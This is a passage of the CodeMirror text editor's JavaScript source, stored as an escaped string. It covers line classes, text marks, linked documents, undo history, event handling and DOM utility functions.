prop = where == \"text\" ? \"textClass\" : where == \"background\" ? \"bgClass\" : \"wrapClass\";\n        if (!line[prop]) line[prop] = cls;\n        else if (new RegExp(\"(?:^|\\\\s)\" + cls + \"(?:$|\\\\s)\").test(line[prop])) return false;\n        else line[prop] += \" \" + cls;\n        return true;\n      });\n    }),\n    removeLineClass: docMethodOp(function(handle, where, cls) {\n      return changeLine(this, handle, \"class\", function(line) {\n        var prop = where == \"text\" ? \"textClass\" : where == \"background\" ? \"bgClass\" : \"wrapClass\";\n        var cur = line[prop];\n        if (!cur) return false;\n        else if (cls == null) line[prop] = null;\n        else {\n          var found = cur.match(new RegExp(\"(?:^|\\\\s+)\" + cls + \"(?:$|\\\\s+)\"));\n          if (!found) return false;\n          var end = found.index + found[0].length;\n          line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? \"\" : \" \") + cur.slice(end) || null;\n        }\n        return true;\n      });\n    }),\n\n    markText: function(from, to, options) {\n      return markText(this, clipPos(this, from), clipPos(this, to), options, \"range\");\n    },\n    setBookmark: function(pos, options) {\n      var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options),\n                      insertLeft: options && options.insertLeft,\n                      clearWhenEmpty: false, shared: options && options.shared};\n      pos = clipPos(this, pos);\n      return markText(this, pos, pos, realOpts, \"bookmark\");\n    },\n    findMarksAt: function(pos) {\n      pos = clipPos(this, pos);\n      var markers = [], spans = getLine(this, pos.line).markedSpans;\n      if (spans) for (var i = 0; i < spans.length; ++i) {\n        var span = spans[i];\n        if ((span.from == null || span.from <= pos.ch) &&\n            (span.to == null || span.to >= pos.ch))\n          markers.push(span.marker.parent || span.marker);\n      }\n      return markers;\n    },\n    findMarks: function(from, to, filter) {\n      from = clipPos(this, from); to = clipPos(this, to);\n      var found = [], lineNo = from.line;\n      this.iter(from.line, to.line + 1, function(line) {\n        var spans = line.markedSpans;\n        if (spans) for (var i = 0; i < spans.length; i++) {\n          var span = spans[i];\n          if (!(lineNo == from.line && from.ch > span.to ||\n                span.from == null && lineNo != from.line||\n                lineNo == to.line && span.from > to.ch) &&\n              (!filter || filter(span.marker)))\n            found.push(span.marker.parent || span.marker);\n        }\n        ++lineNo;\n      });\n      return found;\n    },\n    getAllMarks: function() {\n      var markers = [];\n      this.iter(function(line) {\n        var sps = line.markedSpans;\n        if (sps) for (var i = 0; i < sps.length; ++i)\n          if (sps[i].from != null) markers.push(sps[i].marker);\n      });\n      return markers;\n    },\n\n    posFromIndex: function(off) {\n      var ch, lineNo = this.first;\n      this.iter(function(line) {\n        var sz = line.text.length + 1;\n        if (sz > off) { ch = off; return true; }\n        off -= sz;\n        ++lineNo;\n      });\n      return clipPos(this, Pos(lineNo, ch));\n    },\n    indexFromPos: function (coords) {\n      coords = clipPos(this, coords);\n      var index = coords.ch;\n      if (coords.line < this.first || coords.ch < 0) return 0;\n      this.iter(this.first, coords.line, function (line) {\n        index += line.text.length + 1;\n      });\n      return index;\n    },\n\n    copy: function(copyHistory) {\n      var doc = new Doc(getLines(this, this.first, this.first + this.size), this.modeOption, this.first);\n      doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;\n      doc.sel = this.sel;\n      doc.extend = false;\n      if (copyHistory) {\n        doc.history.undoDepth = this.history.undoDepth;\n        doc.setHistory(this.getHistory());\n      }\n      return doc;\n    },\n\n    linkedDoc: function(options) {\n      if (!options) options = {};\n      var from = this.first, to = this.first + this.size;\n      if (options.from != null && options.from > from) from = options.from;\n      if (options.to != null && options.to < to) to = options.to;\n      var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from);\n      if (options.sharedHist) copy.history = this.history;\n      (this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist});\n      copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}];\n      copySharedMarkers(copy, findSharedMarkers(this));\n      return copy;\n    },\n    unlinkDoc: function(other) {\n      if (other instanceof CodeMirror) other = other.doc;\n      if (this.linked) for (var i = 0; i < this.linked.length; ++i) {\n        var link = this.linked[i];\n        if (link.doc != other) continue;\n        this.linked.splice(i, 1);\n        other.unlinkDoc(this);\n        detachSharedMarkers(findSharedMarkers(this));\n        break;\n      }\n      // If the histories were shared, split them again\n      if (other.history == this.history) {\n        var splitIds = [other.id];\n        linkedDocs(other, function(doc) {splitIds.push(doc.id);}, true);\n        other.history = new History(null);\n        other.history.done = copyHistoryArray(this.history.done, splitIds);\n        other.history.undone = copyHistoryArray(this.history.undone, splitIds);\n      }\n    },\n    iterLinkedDocs: function(f) {linkedDocs(this, f);},\n\n    getMode: function() {return this.mode;},\n    getEditor: function() {return this.cm;}\n  });\n\n  // Public alias.\n  Doc.prototype.eachLine = Doc.prototype.iter;\n\n  // Set up methods on CodeMirror's prototype to redirect to the editor's document.\n  var dontDelegate = \"iter insert remove copy getEditor\".split(\" \");\n  for (var prop in Doc.prototype) if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0)\n    CodeMirror.prototype[prop] = (function(method) {\n      return function() {return method.apply(this.doc, arguments);};\n    })(Doc.prototype[prop]);\n\n  eventMixin(Doc);\n\n  // Call f for all linked documents.\n  function linkedDocs(doc, f, sharedHistOnly) {\n    function propagate(doc, skip, sharedHist) {\n      if (doc.linked) for (var i = 0; i < doc.linked.length; ++i) {\n        var rel = doc.linked[i];\n        if (rel.doc == skip) continue;\n        var shared = sharedHist && rel.sharedHist;\n        if (sharedHistOnly && !shared) continue;\n        f(rel.doc, shared);\n        propagate(rel.doc, doc, shared);\n      }\n    }\n    propagate(doc, null, true);\n  }\n\n  // Attach a document to an editor.\n  function attachDoc(cm, doc) {\n    if (doc.cm) throw new Error(\"This document is already in use.\");\n    cm.doc = doc;\n    doc.cm = cm;\n    estimateLineHeights(cm);\n    loadMode(cm);\n    if (!cm.options.lineWrapping) findMaxLine(cm);\n    cm.options.mode = doc.modeOption;\n    regChange(cm);\n  }\n\n  // LINE UTILITIES\n\n  // Find the line object corresponding to the given line number.\n  function getLine(doc, n) {\n    n -= doc.first;\n    if (n < 0 || n >= doc.size) throw new Error(\"There is no line \" + (n + doc.first) + \" in the document.\");\n    for (var chunk = doc; !chunk.lines;) {\n      for (var i = 0;; ++i) {\n        var child = chunk.children[i], sz = child.chunkSize();\n        if (n < sz) { chunk = child; break; }\n        n -= sz;\n      }\n    }\n    return chunk.lines[n];\n  }\n\n  // Get the part of a document between two positions, as an array of\n  // strings.\n  function getBetween(doc, start, end) {\n    var out = [], n = start.line;\n    doc.iter(start.line, end.line + 1, function(line) {\n      var text = line.text;\n      if (n == end.line) text = text.slice(0, end.ch);\n      if (n == start.line) text = text.slice(start.ch);\n      out.push(text);\n      ++n;\n    });\n    return out;\n  }\n  // Get the lines between from and to, as array of strings.\n  function getLines(doc, from, to) {\n    var out = [];\n    doc.iter(from, to, function(line) { out.push(line.text); });\n    return out;\n  }\n\n  // Update the height of a line, propagating the height change\n  // upwards to parent nodes.\n  function updateLineHeight(line, height) {\n    var diff = height - line.height;\n    if (diff) for (var n = line; n; n = n.parent) n.height += diff;\n  }\n\n  // Given a line object, find its line number by walking up through\n  // its parent links.\n  function lineNo(line) {\n    if (line.parent == null) return null;\n    var cur = line.parent, no = indexOf(cur.lines, line);\n    for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) {\n      for (var i = 0;; ++i) {\n        if (chunk.children[i] == cur) break;\n        no += chunk.children[i].chunkSize();\n      }\n    }\n    return no + cur.first;\n  }\n\n  // Find the line at the given vertical position, using the height\n  // information in the document tree.\n  function lineAtHeight(chunk, h) {\n    var n = chunk.first;\n    outer: do {\n      for (var i = 0; i < chunk.children.length; ++i) {\n        var child = chunk.children[i], ch = child.height;\n        if (h < ch) { chunk = child; continue outer; }\n        h -= ch;\n        n += child.chunkSize();\n      }\n      return n;\n    } while (!chunk.lines);\n    for (var i = 0; i < chunk.lines.length; ++i) {\n      var line = chunk.lines[i], lh = line.height;\n      if (h < lh) break;\n      h -= lh;\n    }\n    return n + i;\n  }\n\n\n  // Find the height above the given line.\n  function heightAtLine(lineObj) {\n    lineObj = visualLine(lineObj);\n\n    var h = 0, chunk = lineObj.parent;\n    for (var i = 0; i < chunk.lines.length; ++i) {\n      var line = chunk.lines[i];\n      if (line == lineObj) break;\n      else h += line.height;\n    }\n    for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {\n      for (var i = 0; i < p.children.length; ++i) {\n        var cur = p.children[i];\n        if (cur == chunk) break;\n        else h += cur.height;\n      }\n    }\n    return h;\n  }\n\n  // Get the bidi ordering for the given line (and cache it). Returns\n  // false for lines that are fully left-to-right, and an array of\n  // BidiSpan objects otherwise.\n  function getOrder(line) {\n    var order = line.order;\n    if (order == null) order = line.order = bidiOrdering(line.text);\n    return order;\n  }\n\n  // HISTORY\n\n  function History(startGen) {\n    // Arrays of change events and selections. Doing something adds an\n    // event to done and clears undo. Undoing moves events from done\n    // to undone, redoing moves them in the other direction.\n    this.done = []; this.undone = [];\n    this.undoDepth = Infinity;\n    // Used to track when changes can be merged into a single undo\n    // event\n    this.lastModTime = this.lastSelTime = 0;\n    this.lastOp = this.lastSelOp = null;\n    this.lastOrigin = this.lastSelOrigin = null;\n    // Used by the isClean() method\n    this.generation = this.maxGeneration = startGen || 1;\n  }\n\n  // Create a history change event from an updateDoc-style change\n  // object.\n  function historyChangeFromChange(doc, change) {\n    var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)};\n    attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);\n    linkedDocs(doc, function(doc) {attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);}, true);\n    return histChange;\n  }\n\n  // Pop all selection events off the end of a history array. Stop at\n  // a change event.\n  function clearSelectionEvents(array) {\n    while (array.length) {\n      var last = lst(array);\n      if (last.ranges) array.pop();\n      else break;\n    }\n  }\n\n  // Find the top change event in the history. Pop off selection\n  // events that are in the way.\n  function lastChangeEvent(hist, force) {\n    if (force) {\n      clearSelectionEvents(hist.done);\n      return lst(hist.done);\n    } else if (hist.done.length && !lst(hist.done).ranges) {\n      return lst(hist.done);\n    } else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) {\n      hist.done.pop();\n      return lst(hist.done);\n    }\n  }\n\n  // Register a change in the history. Merges changes that are within\n  // a single operation, ore are close together with an origin that\n  // allows merging (starting with \"+\") into a single event.\n  function addChangeToHistory(doc, change, selAfter, opId) {\n    var hist = doc.history;\n    hist.undone.length = 0;\n    var time = +new Date, cur;\n\n    if ((hist.lastOp == opId ||\n         hist.lastOrigin == change.origin && change.origin &&\n         ((change.origin.charAt(0) == \"+\" && doc.cm && hist.lastModTime > time - doc.cm.options.historyEventDelay) ||\n          change.origin.charAt(0) == \"*\")) &&\n        (cur = lastChangeEvent(hist, hist.lastOp == opId))) {\n      // Merge this change into the last event\n      var last = lst(cur.changes);\n      if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) {\n        // Optimized case for simple insertion -- don't want to add\n        // new changesets for every character typed\n        last.to = changeEnd(change);\n      } else {\n        // Add new sub-event\n        cur.changes.push(historyChangeFromChange(doc, change));\n      }\n    } else {\n      // Can not be merged, start a new event.\n      var before = lst(hist.done);\n      if (!before || !before.ranges)\n        pushSelectionToHistory(doc.sel, hist.done);\n      cur = {changes: [historyChangeFromChange(doc, change)],\n             generation: hist.generation};\n      hist.done.push(cur);\n      while (hist.done.length > hist.undoDepth) {\n        hist.done.shift();\n        if (!hist.done[0].ranges) hist.done.shift();\n      }\n    }\n    hist.done.push(selAfter);\n    hist.generation = ++hist.maxGeneration;\n    hist.lastModTime = hist.lastSelTime = time;\n    hist.lastOp = hist.lastSelOp = opId;\n    hist.lastOrigin = hist.lastSelOrigin = change.origin;\n\n    if (!last) signal(doc, \"historyAdded\");\n  }\n\n  function selectionEventCanBeMerged(doc, origin, prev, sel) {\n    var ch = origin.charAt(0);\n    return ch == \"*\" ||\n      ch == \"+\" &&\n      prev.ranges.length == sel.ranges.length &&\n      prev.somethingSelected() == sel.somethingSelected() &&\n      new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500);\n  }\n\n  // Called whenever the selection changes, sets the new selection as\n  // the pending selection in the history, and pushes the old pending\n  // selection into the 'done' array when it was significantly\n  // different (in number of selected ranges, emptiness, or time).\n  function addSelectionToHistory(doc, sel, opId, options) {\n    var hist = doc.history, origin = options && options.origin;\n\n    // A new event is started when the previous origin does not match\n    // the current, or the origins don't allow matching. Origins\n    // starting with * are always merged, those starting with + are\n    // merged when similar and close together in time.\n    if (opId == hist.lastSelOp ||\n        (origin && hist.lastSelOrigin == origin &&\n         (hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin ||\n          selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))\n      hist.done[hist.done.length - 1] = sel;\n    else\n      pushSelectionToHistory(sel, hist.done);\n\n    hist.lastSelTime = +new Date;\n    hist.lastSelOrigin = origin;\n    hist.lastSelOp = opId;\n    if (options && options.clearRedo !== false)\n      clearSelectionEvents(hist.undone);\n  }\n\n  function pushSelectionToHistory(sel, dest) {\n    var top = lst(dest);\n    if (!(top && top.ranges && top.equals(sel)))\n      dest.push(sel);\n  }\n\n  // Used to store marked span information in the history.\n  function attachLocalSpans(doc, change, from, to) {\n    var existing = change[\"spans_\" + doc.id], n = 0;\n    doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function(line) {\n      if (line.markedSpans)\n        (existing || (existing = change[\"spans_\" + doc.id] = {}))[n] = line.markedSpans;\n      ++n;\n    });\n  }\n\n  // When un/re-doing restores text containing marked spans, those\n  // that have been explicitly cleared should not be restored.\n  function removeClearedSpans(spans) {\n    if (!spans) return null;\n    for (var i = 0, out; i < spans.length; ++i) {\n      if (spans[i].marker.explicitlyCleared) { if (!out) out = spans.slice(0, i); }\n      else if (out) out.push(spans[i]);\n    }\n    return !out ? spans : out.length ? out : null;\n  }\n\n  // Retrieve and filter the old marked spans stored in a change event.\n  function getOldSpans(doc, change) {\n    var found = change[\"spans_\" + doc.id];\n    if (!found) return null;\n    for (var i = 0, nw = []; i < change.text.length; ++i)\n      nw.push(removeClearedSpans(found[i]));\n    return nw;\n  }\n\n  // Used both to provide a JSON-safe object in .getHistory, and, when\n  // detaching a document, to split the history in two\n  function copyHistoryArray(events, newGroup, instantiateSel) {\n    for (var i = 0, copy = []; i < events.length; ++i) {\n      var event = events[i];\n      if (event.ranges) {\n        copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event);\n        continue;\n      }\n      var changes = event.changes, newChanges = [];\n      copy.push({changes: newChanges});\n      for (var j = 0; j < changes.length; ++j) {\n        var change = changes[j], m;\n        newChanges.push({from: change.from, to: change.to, text: change.text});\n        if (newGroup) for (var prop in change) if (m = prop.match(/^spans_(\\d+)$/)) {\n          if (indexOf(newGroup, Number(m[1])) > -1) {\n            lst(newChanges)[prop] = change[prop];\n            delete change[prop];\n          }\n        }\n      }\n    }\n    return copy;\n  }\n\n  // Rebasing/resetting history to deal with externally-sourced changes\n\n  function rebaseHistSelSingle(pos, from, to, diff) {\n    if (to < pos.line) {\n      pos.line += diff;\n    } else if (from < pos.line) {\n      pos.line = from;\n      pos.ch = 0;\n    }\n  }\n\n  // Tries to rebase an array of history events given a change in the\n  // document. If the change touches the same lines as the event, the\n  // event, and everything 'behind' it, is discarded. If the change is\n  // before the event, the event's positions are updated. Uses a\n  // copy-on-write scheme for the positions, to avoid having to\n  // reallocate them all on every rebase, but also avoid problems with\n  // shared position objects being unsafely updated.\n  function rebaseHistArray(array, from, to, diff) {\n    for (var i = 0; i < array.length; ++i) {\n      var sub = array[i], ok = true;\n      if (sub.ranges) {\n        if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; }\n        for (var j = 0; j < sub.ranges.length; j++) {\n          rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);\n          rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);\n        }\n        continue;\n      }\n      for (var j = 0; j < sub.changes.length; ++j) {\n        var cur = sub.changes[j];\n        if (to < cur.from.line) {\n          cur.from = Pos(cur.from.line + diff, cur.from.ch);\n          cur.to = Pos(cur.to.line + diff, cur.to.ch);\n        } else if (from <= cur.to.line) {\n          ok = false;\n          break;\n        }\n      }\n      if (!ok) {\n        array.splice(0, i + 1);\n        i = 0;\n      }\n    }\n  }\n\n  function rebaseHist(hist, change) {\n    var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1;\n    rebaseHistArray(hist.done, from, to, diff);\n    rebaseHistArray(hist.undone, from, to, diff);\n  }\n\n  // EVENT UTILITIES\n\n  // Due to the fact that we still support jurassic IE versions, some\n  // compatibility wrappers are needed.\n\n  var e_preventDefault = CodeMirror.e_preventDefault = function(e) {\n    if (e.preventDefault) e.preventDefault();\n    else e.returnValue = false;\n  };\n  var e_stopPropagation = CodeMirror.e_stopPropagation = function(e) {\n    if (e.stopPropagation) e.stopPropagation();\n    else e.cancelBubble = true;\n  };\n  function e_defaultPrevented(e) {\n    return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false;\n  }\n  var e_stop = CodeMirror.e_stop = function(e) {e_preventDefault(e); e_stopPropagation(e);};\n\n  function e_target(e) {return e.target || e.srcElement;}\n  function e_button(e) {\n    var b = e.which;\n    if (b == null) {\n      if (e.button & 1) b = 1;\n      else if (e.button & 2) b = 3;\n      else if (e.button & 4) b = 2;\n    }\n    if (mac && e.ctrlKey && b == 1) b = 3;\n    return b;\n  }\n\n  // EVENT HANDLING\n\n  // Lightweight event framework. on/off also work on DOM nodes,\n  // registering native DOM handlers.\n\n  var on = CodeMirror.on = function(emitter, type, f) {\n    if (emitter.addEventListener)\n      emitter.addEventListener(type, f, false);\n    else if (emitter.attachEvent)\n      emitter.attachEvent(\"on\" + type, f);\n    else {\n      var map = emitter._handlers || (emitter._handlers = {});\n      var arr = map[type] || (map[type] = []);\n      arr.push(f);\n    }\n  };\n\n  var off = CodeMirror.off = function(emitter, type, f) {\n    if (emitter.removeEventListener)\n      emitter.removeEventListener(type, f, false);\n    else if (emitter.detachEvent)\n      emitter.detachEvent(\"on\" + type, f);\n    else {\n      var arr = emitter._handlers && emitter._handlers[type];\n      if (!arr) return;\n      for (var i = 0; i < arr.length; ++i)\n        if (arr[i] == f) { arr.splice(i, 1); break; }\n    }\n  };\n\n  var signal = CodeMirror.signal = function(emitter, type /*, values...*/) {\n    var arr = emitter._handlers && emitter._handlers[type];\n    if (!arr) return;\n    var args = Array.prototype.slice.call(arguments, 2);\n    for (var i = 0; i < arr.length; ++i) arr[i].apply(null, args);\n  };\n\n  var orphanDelayedCallbacks = null;\n\n  // Often, we want to signal events at a point where we are in the\n  // middle of some work, but don't want the handler to start calling\n  // other methods on the editor, which might be in an inconsistent\n  // state or simply not expect any other events to happen.\n  // signalLater looks whether there are any handlers, and schedules\n  // them to be executed when the last operation ends, or, if no\n  // operation is active, when a timeout fires.\n  function signalLater(emitter, type /*, values...*/) {\n    var arr = emitter._handlers && emitter._handlers[type];\n    if (!arr) return;\n    var args = Array.prototype.slice.call(arguments, 2), list;\n    if (operationGroup) {\n      list = operationGroup.delayedCallbacks;\n    } else if (orphanDelayedCallbacks) {\n      list = orphanDelayedCallbacks;\n    } else {\n      list = orphanDelayedCallbacks = [];\n      setTimeout(fireOrphanDelayed, 0);\n    }\n    function bnd(f) {return function(){f.apply(null, args);};};\n    for (var i = 0; i < arr.length; ++i)\n      list.push(bnd(arr[i]));\n  }\n\n  function fireOrphanDelayed() {\n    var delayed = orphanDelayedCallbacks;\n    orphanDelayedCallbacks = null;\n    for (var i = 0; i < delayed.length; ++i) delayed[i]();\n  }\n\n  // The DOM events that CodeMirror handles can be overridden by\n  // registering a (non-DOM) handler on the editor for the event name,\n  // and preventDefault-ing the event in that handler.\n  function signalDOMEvent(cm, e, override) {\n    signal(cm, override || e.type, cm, e);\n    return e_defaultPrevented(e) || e.codemirrorIgnore;\n  }\n\n  function signalCursorActivity(cm) {\n    var arr = cm._handlers && cm._handlers.cursorActivity;\n    if (!arr) return;\n    var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []);\n    for (var i = 0; i < arr.length; ++i) if (indexOf(set, arr[i]) == -1)\n      set.push(arr[i]);\n  }\n\n  function hasHandler(emitter, type) {\n    var arr = emitter._handlers && emitter._handlers[type];\n    return arr && arr.length > 0;\n  }\n\n  // Add on and off methods to a constructor's prototype, to make\n  // registering events on such objects more convenient.\n  function eventMixin(ctor) {\n    ctor.prototype.on = function(type, f) {on(this, type, f);};\n    ctor.prototype.off = function(type, f) {off(this, type, f);};\n  }\n\n  // MISC UTILITIES\n\n  // Number of pixels added to scroller and sizer to hide scrollbar\n  var scrollerCutOff = 30;\n\n  // Returned or thrown by various protocols to signal 'I'm not\n  // handling this'.\n  var Pass = CodeMirror.Pass = {toString: function(){return \"CodeMirror.Pass\";}};\n\n  // Reused option objects for setSelection & friends\n  var sel_dontScroll = {scroll: false}, sel_mouse = {origin: \"*mouse\"}, sel_move = {origin: \"+move\"};\n\n  function Delayed() {this.id = null;}\n  Delayed.prototype.set = function(ms, f) {\n    clearTimeout(this.id);\n    this.id = setTimeout(f, ms);\n  };\n\n  // Counts the column offset in a string, taking tabs into account.\n  // Used mostly to find indentation.\n  var countColumn = CodeMirror.countColumn = function(string, end, tabSize, startIndex, startValue) {\n    if (end == null) {\n      end = string.search(/[^\\s\\u00a0]/);\n      if (end == -1) end = string.length;\n    }\n    for (var i = startIndex || 0, n = startValue || 0;;) {\n      var nextTab = string.indexOf(\"\\t\", i);\n      if (nextTab < 0 || nextTab >= end)\n        return n + (end - i);\n      n += nextTab - i;\n      n += tabSize - (n % tabSize);\n      i = nextTab + 1;\n    }\n  };\n\n  // The inverse of countColumn -- find the offset that corresponds to\n  // a particular column.\n  function findColumn(string, goal, tabSize) {\n    for (var pos = 0, col = 0;;) {\n      var nextTab = string.indexOf(\"\\t\", pos);\n      if (nextTab == -1) nextTab = string.length;\n      var skipped = nextTab - pos;\n      if (nextTab == string.length || col + skipped >= goal)\n        return pos + Math.min(skipped, goal - col);\n      col += nextTab - pos;\n      col += tabSize - (col % tabSize);\n      pos = nextTab + 1;\n      if (col >= goal) return pos;\n    }\n  }\n\n  var spaceStrs = [\"\"];\n  function spaceStr(n) {\n    while (spaceStrs.length <= n)\n      spaceStrs.push(lst(spaceStrs) + \" \");\n    return spaceStrs[n];\n  }\n\n  function lst(arr) { return arr[arr.length-1]; }\n\n  var selectInput = function(node) { node.select(); };\n  if (ios) // Mobile Safari apparently has a bug where select() is broken.\n    selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; };\n  else if (ie) // Suppress mysterious IE10 errors\n    selectInput = function(node) { try { node.select(); } catch(_e) {} };\n\n  function indexOf(array, elt) {\n    for (var i = 0; i < array.length; ++i)\n      if (array[i] == elt) return i;\n    return -1;\n  }\n  if ([].indexOf) indexOf = function(array, elt) { return array.indexOf(elt); };\n  function map(array, f) {\n    var out = [];\n    for (var i = 0; i < array.length; i++) out[i] = f(array[i], i);\n    return out;\n  }\n  if ([].map) map = function(array, f) { return array.map(f); };\n\n  function createObj(base, props) {\n    var inst;\n    if (Object.create) {\n      inst = Object.create(base);\n    } else {\n      var ctor = function() {};\n      ctor.prototype = base;\n      inst = new ctor();\n    }\n    if (props) copyObj(props, inst);\n    return inst;\n  };\n\n  function copyObj(obj, target, overwrite) {\n    if (!target) target = {};\n    for (var prop in obj)\n      if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))\n        target[prop] = obj[prop];\n    return target;\n  }\n\n  function bind(f) {\n    var args = Array.prototype.slice.call(arguments, 1);\n    return function(){return f.apply(null, args);};\n  }\n\n  var nonASCIISingleCaseWordChar = /[\\u00df\\u0590-\\u05f4\\u0600-\\u06ff\\u3040-\\u309f\\u30a0-\\u30ff\\u3400-\\u4db5\\u4e00-\\u9fcc\\uac00-\\ud7af]/;\n  var isWordCharBasic = CodeMirror.isWordChar = function(ch) {\n    return /\\w/.test(ch) || ch > \"\\x80\" &&\n      (ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch));\n  };\n  function isWordChar(ch, helper) {\n    if (!helper) return isWordCharBasic(ch);\n    if (helper.source.indexOf(\"\\\\w\") > -1 && isWordCharBasic(ch)) return true;\n    return helper.test(ch);\n  }\n\n  function isEmpty(obj) {\n    for (var n in obj) if (obj.hasOwnProperty(n) && obj[n]) return false;\n    return true;\n  }\n\n  // Extending unicode characters. A series of a non-extending char +\n  // any number of extending chars is treated as a single unit as far\n  // as editing and measuring is concerned. This is not fully correct,\n  // since some scripts/fonts/browsers also treat other configurations\n  // of code points as a group.\n  var extendingChars = /[\\u0300-\\u036f\\u0483-\\u0489\\u0591-\\u05bd\\u05bf\\u05c1\\u05c2\\u05c4\\u05c5\\u05c7\\u0610-\\u061a\\u064b-\\u065e\\u0670\\u06d6-\\u06dc\\u06de-\\u06e4\\u06e7\\u06e8\\u06ea-\\u06ed\\u0711\\u0730-\\u074a\\u07a6-\\u07b0\\u07eb-\\u07f3\\u0816-\\u0819\\u081b-\\u0823\\u0825-\\u0827\\u0829-\\u082d\\u0900-\\u0902\\u093c\\u0941-\\u0948\\u094d\\u0951-\\u0955\\u0962\\u0963\\u0981\\u09bc\\u09be\\u09c1-\\u09c4\\u09cd\\u09d7\\u09e2\\u09e3\\u0a01\\u0a02\\u0a3c\\u0a41\\u0a42\\u0a47\\u0a48\\u0a4b-\\u0a4d\\u0a51\\u0a70\\u0a71\\u0a75\\u0a81\\u0a82\\u0abc\\u0ac1-\\u0ac5\\u0ac7\\u0ac8\\u0acd\\u0ae2\\u0ae3\\u0b01\\u0b3c\\u0b3e\\u0b3f\\u0b41-\\u0b44\\u0b4d\\u0b56\\u0b57\\u0b62\\u0b63\\u0b82\\u0bbe\\u0bc0\\u0bcd\\u0bd7\\u0c3e-\\u0c40\\u0c46-\\u0c48\\u0c4a-\\u0c4d\\u0c55\\u0c56\\u0c62\\u0c63\\u0cbc\\u0cbf\\u0cc2\\u0cc6\\u0ccc\\u0ccd\\u0cd5\\u0cd6\\u0ce2\\u0ce3\\u0d3e\\u0d41-\\u0d44\\u0d4d\\u0d57\\u0d62\\u0d63\\u0dca\\u0dcf\\u0dd2-\\u0dd4\\u0dd6\\u0ddf\\u0e31\\u0e34-\\u0e3a\\u0e47-\\u0e4e\\u0eb1\\u0eb4-\\u0eb9\\u0ebb\\u0ebc\\u0ec8-\\u0ecd\\u0f18\\u0f19\\u0f35\\u0f37\\u0f39\\u0f71-\\u0f7e\\u0f80-\\u0f84\\u0f86\\u0f87\\u0f90-\\u0f97\\u0f99-\\u0fbc\\u0fc6\\u102d-\\u1030\\u1032-\\u1037\\u1039\\u103a\\u103d\\u103e\\u1058\\u1059\\u105e-\\u1060\\u1071-\\u1074\\u1082\\u1085\\u1086\\u108d\\u109d\\u135f\\u1712-\\u1714\\u1732-\\u1734\\u1752\\u1753\\u1772\\u1773\\u17b7-\\u17bd\\u17c6\\u17c9-\\u17d3\\u17dd\\u180b-\\u180d\\u18a9\\u1920-\\u1922\\u1927\\u1928\\u1932\\u1939-\\u193b\\u1a17\\u1a18\\u1a56\\u1a58-\\u1a5e\\u1a60\\u1a62\\u1a65-\\u1a6c\\u1a73-\\u1a7c\\u1a7f\\u1b00-\\u1b03\\u1b34\\u1b36-\\u1b3a\\u1b3c\\u1b42\\u1b6b-\\u1b73\\u1b80\\u1b81\\u1ba2-\\u1ba5\\u1ba8\\u1ba9\\u1c2c-\\u1c33\\u1c36\\u1c37\\u1cd0-\\u1cd2\\u1cd4-\\u1ce0\\u1ce2-\\u1ce8\\u1ced\\u1dc0-\\u1de6\\u1dfd-\\u1dff\\u200c\\u200d\\u20d0-\\u20f0\\u2cef-\\u2cf1\\u2de0-\\u2dff\\u302a-\\u302f\\u3099\\u309a\\ua66f-\\ua672\\ua67c\\ua67d\\ua6f0\\ua6f1\\ua802\\ua806\\ua80b\\ua825\\ua826\\ua8c4\\ua8e0-\\ua8f1\\ua926-\\ua92d\\ua947-\\ua951\\ua980-\\ua982\\ua9b3\\ua9b6-\\ua9b9\\ua9bc\\uaa29-\\uaa2e\\uaa31\\uaa32\\uaa35\\uaa36\\uaa43\\uaa4c\\uaab0\\uaab2-\\uaab4\\uaab7\\uaab8\\uaabe\\uaabf\\uaac1\\uabe5\\uabe8\\uabed\\udc00-\\udfff\\ufb1e\\ufe00-\\ufe0f\\ufe20-\\ufe26\\uff9e\\uff9f]/;\n  function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch); }\n\n  // DOM UTILITIES\n\n  function elt(tag, content, className, style) {\n    var e = document.createElement(tag);\n    if (className) e.className = className;\n    if (style) e.style.cssText = style;\n    if (typeof content == \"string\") e.appendChild(document.createTextNode(content));\n    else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);\n    return e;\n  }\n\n  var range;\n  if (document.createRange) range = function(node, start, end) {\n    var r = document.createRange();\n    r.setEnd(node, end);\n    r.setStart(node, start);\n    return r;\n  };\n  else range = function(node, start, end) {\n    var r = document.body.createTextRange();\n    r.moveToElementText(node.parentNode);\n    r.collapse(true);\n    r.moveEnd(\"character\", end);\n    r.moveStart(\"character\", start);\n    return r;\n  };\n\n  function removeChildren(e) {\n    for (var count = e.childNodes.length; count > 0; --count)\n      e.removeChild(e.firstChild);\n    return e;\n  }\n\n  function removeChildrenAndAdd(parent, e) {\n    return removeChildren(parent).appendChild(e);\n  }\n\n  function contains(parent, child) {\n    if (parent.contains)\n      return parent.contains(child);\n    while 